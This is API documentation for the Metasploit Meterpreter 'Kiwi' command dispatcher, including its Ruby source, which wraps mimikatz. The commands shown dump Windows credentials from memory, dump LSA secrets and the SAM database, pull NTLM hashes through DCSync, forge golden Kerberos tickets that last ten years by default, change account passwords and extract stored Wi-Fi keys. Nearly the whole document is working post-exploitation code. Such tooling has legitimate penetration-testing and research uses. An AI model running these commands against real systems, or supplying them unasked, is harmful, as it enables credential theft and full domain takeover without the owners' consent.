Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory (newer OSes).

Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

Klass =
Console::CommandDispatcher::Kiwi
@@password_change_usage_opts =

Valid options for the password change feature

Rex::Parser::Arguments.new(
  '-h' => [false, 'Help banner'],
  '-u' => [true,  'User name of the password to change.'],
  '-s' => [true,  'Server to perform the action on (eg. Domain Controller).'],
  '-p' => [true,  'The known existing/old password (do not use with -n).'],
  '-n' => [true,  'The known existing/old hash (do not use with -p).'],
  '-P' => [true,  'The new password to set for the account (do not use with -N).'],
  '-N' => [true,  'The new hash to set for the account (do not use with -P).']
)
@@golden_ticket_create_opts =

Valid options for the golden ticket creation functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '-u' => [ true,  'Name of the user to create the ticket for (required)' ],
  '-i' => [ true,  'ID of the user to associate the ticket with' ],
  '-g' => [ true,  'Comma-separated list of group identifiers to include (eg: 501,502)' ],
  '-d' => [ true,  'FQDN of the target domain (required)' ],
  '-k' => [ true,  'krbtgt domain user NTLM hash' ],
  '-t' => [ true,  'Local path of the file to store the ticket in (required)' ],
  '-s' => [ true,  'SID of the domain' ],
  '-e' => [ true,  'End in ... Duration in hours (ex: -e 10 for 10 hours), default 10 YEARS']
)
@@kerberos_ticket_list_opts =

Valid options for the ticket listing functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
)
@@creds_opts =
Rex::Parser::Arguments.new(
  '-o' => [ true,  'Write the output to the specified file.' ],
  '-h' => [ false, 'Help menu.' ]
)

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #docs_dir, #filter_commands, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #update_prompt

Constructor Details

#initialize(shell) ⇒ Kiwi

Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz software.


37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 37

def initialize(shell)
  super
  print_line
  print_line("  .#####.   mimikatz 2.2.0 20191125 (#{client.session_type})")
  print_line(" .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)")
  print_line(" ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )")
  print_line(" ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz")
  print_line(" '## v ##'        Vincent LE TOUX            ( [email protected] )")
  print_line("  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/")
  print_line

  si = client.sys.config.sysinfo
  if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
    print_warning('Loaded x86 Kiwi on an x64 architecture.')
    print_line
  end
end

Instance Method Details

#check_is_domain_user(msg = 'Running as SYSTEM, function will not work.') ⇒ Object (protected)


541
542
543
544
545
546
547
548
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 541

def check_is_domain_user(msg='Running as SYSTEM, function will not work.')
  if client.sys.config.is_system?
    print_warning(msg)
    return false
  end

  true
end

#check_is_systemObject (protected)


550
551
552
553
554
555
556
557
558
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 550

def check_is_system
  if client.sys.config.is_system?
    print_good('Running as SYSTEM')
    return true
  end

  print_warning('Not running as SYSTEM, execution may fail')
  false
end

#cmd_creds_all(*args) ⇒ Object

Dump all the possible credentials to screen.


462
463
464
465
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 462

def cmd_creds_all(*args)
  method = Proc.new { client.kiwi.creds_all }
  scrape_passwords('all', method, args)
end

#cmd_creds_kerberos(*args) ⇒ Object

Dump all Kerberos credentials to screen.


510
511
512
513
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 510

def cmd_creds_kerberos(*args)
  method = Proc.new { client.kiwi.creds_kerberos }
  scrape_passwords('kerberos', method, args)
end

#cmd_creds_livessp(*args) ⇒ Object

Dump all LiveSSP credentials to screen.


494
495
496
497
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 494

def cmd_creds_livessp(*args)
  method = Proc.new { client.kiwi.creds_livessp }
  scrape_passwords('livessp', method, args)
end

#cmd_creds_msv(*args) ⇒ Object

Dump all msv credentials to screen.


478
479
480
481
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 478

def cmd_creds_msv(*args)
  method = Proc.new { client.kiwi.creds_msv }
  scrape_passwords('msv', method, args)
end

#cmd_creds_ssp(*args) ⇒ Object

Dump all SSP credentials to screen.


486
487
488
489
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 486

def cmd_creds_ssp(*args)
  method = Proc.new { client.kiwi.creds_ssp }
  scrape_passwords('ssp', method, args)
end

#cmd_creds_tspkg(*args) ⇒ Object

Dump all TSPKG credentials to screen.


502
503
504
505
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 502

def cmd_creds_tspkg(*args)
  method = Proc.new { client.kiwi.creds_tspkg }
  scrape_passwords('tspkg', method, args)
end

#cmd_creds_usage(provider) ⇒ Object

Displays information about the various creds commands


452
453
454
455
456
457
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 452

def cmd_creds_usage(provider)
  print_line("Usage: creds_#{provider} [options]")
  print_line
  print_line("Dump #{provider} credentials.")
  print_line(@@creds_opts.usage)
end

#cmd_creds_wdigest(*args) ⇒ Object

Dump all wdigest credentials to screen.


470
471
472
473
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 470

def cmd_creds_wdigest(*args)
  method = Proc.new { client.kiwi.creds_wdigest }
  scrape_passwords('wdigest', method, args)
end

#cmd_dcsync(*args) ⇒ Object


173
174
175
176
177
178
179
180
181
182
183
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 173

def cmd_dcsync(*args)
  return unless check_is_domain_user

  if args.length != 1
    print_line('Usage: dcsync <DOMAIN\user>')
    print_line
    return
  end

  print_line(client.kiwi.dcsync(args[0]))
end

#cmd_dcsync_ntlm(*args) ⇒ Object


185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 185

def cmd_dcsync_ntlm(*args)
  return unless check_is_domain_user

  if args.length != 1
    print_line('Usage: dcsync_ntlm <DOMAIN\user>')
    print_line
    return
  end

  user = args[0]
  result = client.kiwi.dcsync_ntlm(user)
  if result
    print_good("Account   : #{user}")
    print_good("NTLM Hash : #{result[:ntlm]}")
    print_good("LM Hash   : #{result[:lm]}")
    print_good("SID       : #{result[:sid]}")
    print_good("RID       : #{result[:rid]}")
  else
    print_error("Failed to retrieve information for #{user}")
  end
  print_line
end

#cmd_golden_ticket_create(*args) ⇒ Object

Invoke the golden kerberos ticket creation functionality on the target.


258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 258

def cmd_golden_ticket_create(*args)

  if args.include?("-h")
    golden_ticket_create_usage
    return
  end

  target_file = nil
  opts = {
    user: nil,
    domain_name: nil,
    domain_sid: nil,
    krbtgt_hash: nil,
    user_id: nil,
    group_ids: nil,
    end_in: 87608
  }

  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      opts[:user] = val
    when '-d'
      opts[:domain_name] = val
    when '-k'
      opts[:krbtgt_hash] = val
    when '-t'
      target_file = val
    when '-i'
      opts[:user_id] = val.to_i
    when '-g'
      opts[:group_ids] = val
    when '-s'
      opts[:domain_sid] = val
    when '-e'
      opts[:end_in] = val.to_i
    end
  }

  # we need the user and domain at the very least
  unless opts[:user] && opts[:domain_name] && target_file
    golden_ticket_create_usage
    return
  end

  # is anything else missing?
  unless opts[:domain_sid] && opts[:krbtgt_hash]
    return unless check_is_domain_user('Unable to run module as SYSTEM unless krbtgt and domain sid are provided')

    # let's go discover it
    krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt'
    dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username)
    unless opts[:krbtgt_hash]
      opts[:krbtgt_hash] = dcsync_result[:ntlm]
      print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}")
    end

    unless opts[:domain_sid]
      domain_sid = dcsync_result[:sid].split('-')
      opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-')
      print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}")
    end
  end

  ticket = client.kiwi.golden_ticket_create(opts)

  ::File.open(target_file, 'wb') do |f|
    f.write(ticket)
  end

  print_good("Golden Kerberos ticket written to #{target_file}")
end

#cmd_kerberos_ticket_list(*args) ⇒ Object

Invoke the kerberos ticket listing functionality on the target machine.


351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 351

def cmd_kerberos_ticket_list(*args)
  if args.include?('-h')
    kerberos_ticket_list_usage
    return
  end

  output = client.kiwi.kerberos_ticket_list.strip
  if output == ''
    print_error('No kerberos tickets exist in the current session.')
  else
    print_good('Kerberos tickets found in the current session.')
    print_line(output)
  end
  print_line
end

#cmd_kerberos_ticket_purge(*args) ⇒ Object

Invoke the kerberos ticket purging functionality on the target machine.


370
371
372
373
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 370

def cmd_kerberos_ticket_purge(*args)
  client.kiwi.kerberos_ticket_purge
  print_good('Kerberos tickets purged')
end

#cmd_kerberos_ticket_use(*args) ⇒ Object

Use a locally stored Kerberos ticket in the current session.


378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 378

def cmd_kerberos_ticket_use(*args)
  if args.length != 1
    print_line('Usage: kerberos_ticket_use ticketpath')
    return
  end

  target = args[0]
  ticket  = ''
  ::File.open(target, 'rb') do |f|
    ticket += f.read(f.stat.size)
  end

  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...")
  if client.kiwi.kerberos_ticket_use(ticket)
    print_good('Kerberos ticket applied successfully.')
  else
    print_error('Kerberos ticket application failed.')
  end
end

#cmd_kiwi_cmd(*args) ⇒ Object


82
83
84
85
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 82

def cmd_kiwi_cmd(*args)
  output = client.kiwi.exec_cmd(args.join(' '))
  print_line(output)
end

#cmd_lsa_dump_sam(*args) ⇒ Object

Invoke the LSA SAM dump on thet target.


222
223
224
225
226
227
228
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 222

def cmd_lsa_dump_sam(*args)
  return unless check_is_system

  print_status('Dumping SAM')
  print_line(client.kiwi.lsa_dump_sam)
  print_line
end

#cmd_lsa_dump_secrets(*args) ⇒ Object

Invoke the LSA secret dump on thet target.


211
212
213
214
215
216
217
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 211

def cmd_lsa_dump_secrets(*args)
  return unless check_is_system

  print_status('Dumping LSA secrets')
  print_line(client.kiwi.lsa_dump_secrets)
  print_line
end

#cmd_password_change(*args) ⇒ Object


106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 106

def cmd_password_change(*args)
  if args.length == 0 || args.include?('-h')
    cmd_password_change_usage
    return
  end

  opts = {}

  @@password_change_usage_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      opts[:user] = val
    when '-s'
      opts[:server] = val
    when '-p'
      opts[:old_pass] = val
    when '-n'
      opts[:old_hash] = val
    when '-P'
      opts[:new_pass] = val
    when '-N'
      opts[:new_hash] = val
    end
  }

  valid = true
  if opts[:old_pass] && opts[:old_hash]
    print_error('Options -p and -n cannot be used together.')
    valid = false
  end

  if opts[:new_pass] && opts[:new_hash]
    print_error('Options -P and -N cannot be used together.')
    valid = false
  end

  unless opts[:old_pass] || opts[:old_hash]
    print_error('At least one of -p and -n must be specified.')
    valid = false
  end

  unless opts[:new_pass] || opts[:new_hash]
    print_error('At least one of -P and -N must be specified.')
    valid = false
  end

  unless opts[:user]
    print_error('The -u parameter must be specified.')
    valid = false
  end

  if valid

    unless opts[:server]
      print_status('No server (-s) specified, defaulting to localhost.')
    end

    result = client.kiwi.password_change(opts)

    if result[:success] == true
      print_good("Success! New NTLM hash: #{result[:new]}")
    else
      print_error("Failed! #{result[:error]}")
    end
  end
end

#cmd_password_change_usageObject


100
101
102
103
104
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 100

def cmd_password_change_usage
  print_line('Usage password_change [options]')
  print_line
  print_line(@@password_change_usage_opts.usage)
end

#cmd_wifi_list(*args) ⇒ Object

Dump all the wifi profiles/credentials for the current user


432
433
434
435
436
437
438
439
440
441
442
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 432

def cmd_wifi_list(*args)
  results = client.kiwi.wifi_list
  if results.length > 0
    display_wifi_profiles(results)
  else
    print_line
    print_error('No wireless profiles found on the target.')
  end

  true
end

#cmd_wifi_list_shared(*args) ⇒ Object

Dump all the shared wifi profiles/credentials


401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 401

def cmd_wifi_list_shared(*args)
  interfaces_dir = client.sys.config.getenv('AllUsersProfile') + '\Microsoft\Wlansvc\Profiles\Interfaces'
  files = client.fs.file.search(interfaces_dir, '*.xml', true)

  if files.length == 0
    print_error('No shared WiFi profiles found.')
  else
    interfaces = {}
    files.each do |f|
      interface_guid = f['path'].split("\\")[-1]
      full_path = "#{f['path']}\\#{f['name']}"

      interfaces[interface_guid] ||= []
      interfaces[interface_guid] << full_path
    end
    results = client.kiwi.wifi_parse_shared(interfaces)

    if results.length > 0
      display_wifi_profiles(results)
    else
      print_line
      print_error('No shared wireless profiles found on the target.')
    end
  end

  true
end

#commandsObject

List of supported commands.


58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 58

def commands
  {
    'kiwi_cmd'              => 'Execute an arbitary mimikatz command (unparsed)',
    'dcsync'                => 'Retrieve user account information via DCSync (unparsed)',
    'dcsync_ntlm'           => 'Retrieve user account NTLM hash, SID and RID via DCSync',
    'creds_wdigest'         => 'Retrieve WDigest creds (parsed)',
    'creds_msv'             => 'Retrieve LM/NTLM creds (parsed)',
    'creds_ssp'             => 'Retrieve SSP creds',
    'creds_livessp'         => 'Retrieve Live SSP creds',
    'creds_tspkg'           => 'Retrieve TsPkg creds (parsed)',
    'creds_kerberos'        => 'Retrieve Kerberos creds (parsed)',
    'creds_all'             => 'Retrieve all credentials (parsed)',
    'golden_ticket_create'  => 'Create a golden kerberos ticket',
    'kerberos_ticket_use'   => 'Use a kerberos ticket',
    'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
    'kerberos_ticket_list'  => 'List all kerberos tickets (unparsed)',
    'lsa_dump_secrets'      => 'Dump LSA secrets (unparsed)',
    'lsa_dump_sam'          => 'Dump LSA SAM (unparsed)',
    'password_change'       => 'Change the password/hash of a user',
    'wifi_list'             => 'List wifi profiles/creds for the current user',
    'wifi_list_shared'      => 'List shared wifi profiles/creds (requires SYSTEM)',
  }
end

#display_wifi_profiles(profiles) ⇒ Object (protected)


517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 517

def display_wifi_profiles(profiles)
  profiles.each do |r|
    header = r[:guid]
    header = "#{r[:desc]} - #{header}" if r[:desc]
    table = Rex::Text::Table.new(
      'Header'    => header,
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   => [
        'Name', 'Auth', 'Type', 'Shared Key'
      ]
    )

    print_line
    r[:profiles].each do |p|
      table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]]
    end

    print_line(table.to_s)
    print_line("State: #{r[:state] || 'Unknown'}")
  end
end

#golden_ticket_create_usageObject

Output the usage for the ticket listing functionality.


248
249
250
251
252
253
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 248

def golden_ticket_create_usage
  print_line('Usage: golden_ticket_create [options]')
  print_line
  print_line('Create a golden kerberos ticket that expires in 10 years time.')
  print_line(@@golden_ticket_create_opts.usage)
end

#kerberos_ticket_list_usageObject

Output the usage for the ticket listing functionality.


341
342
343
344
345
346
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 341

def kerberos_ticket_list_usage
  print_line('Usage: kerberos_ticket_list [options]')
  print_line
  print_line('List all the available Kerberos tickets.')
  print_line(@@kerberos_ticket_list_opts.usage)
end

#nameObject

Name for this dispatcher


28
29
30
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 28

def name
  'Kiwi'
end

#scrape_passwords(provider, method, args) ⇒ void (protected)

This method returns an undefined value.

Invoke the password scraping routine on the target.

Parameters:

  • provider (String)

    The name of the type of credentials to dump (used for display purposes only).

  • method (Proc)

    Block that calls the method that invokes the appropriate function on the client that returns the results from Meterpreter that lay in the house that Jack built.


570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 570

def scrape_passwords(provider, method, args)
  if args.include?('-h')
    cmd_creds_usage(provider)
    return
  end

  return unless check_is_system
  print_status("Retrieving #{provider} credentials")
  accounts = method.call
  output = ""

  accounts.keys.each do |k|
    next if accounts[k].length == 0

    # Keep track of the columns that we were given, in
    # the order we are given them, while removing duplicates
    columns = []
    existing = Set.new
    accounts[k].each do |acct|
      acct.keys.each do |k|
        unless existing.include?(k)
          columns << k
          existing.add(k)
        end
      end
    end

    table = Rex::Text::Table.new(
      'Header'    => "#{k} credentials",
      'Indent'    => 0,
      'SortIndex' => 0,
      'Columns'   => columns
    )

    accounts[k].each do |acct|
      values = []
      # Iterate through the given columns and match the values up
      # correctly based on the index of the column header.
      columns.each do |c|
        col_idx = acct.keys.index(c)
        # If the column exists, we'll use the value that is associated
        # with the column based on its index
        if col_idx
          values << acct.values[col_idx]
        else
          # Otherwise, just add a blank value
          values << ''
        end
      end
      table << values
    end

    output << table.to_s + "\n"
  end

  print_line(output)

  # determine if a target file path was passed in
  file_index = args.index('-o')
  unless file_index.nil?
    if args.length > file_index + 1
      # try to write the file to disk
      begin
        ::File.write(args[file_index + 1], output)
        print_good("Output written to #{args[file_index + 1]}")
      rescue
        print_error("Unable to write to #{args[file_index + 1]}")
      end
    else
      print_error('Missing file path for -o parameter')
    end
  end

  return true
end

#to_hex(value, sep = '') ⇒ String (protected)

Helper function to convert a potentially blank value to hex and have the outer spaces stripped

Returns:

  • (String)

    The result of Text.to_hex, strip'd


652
653
654
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 652

def to_hex(value, sep = '')
  Rex::Text.to_hex(value || '', sep).strip
end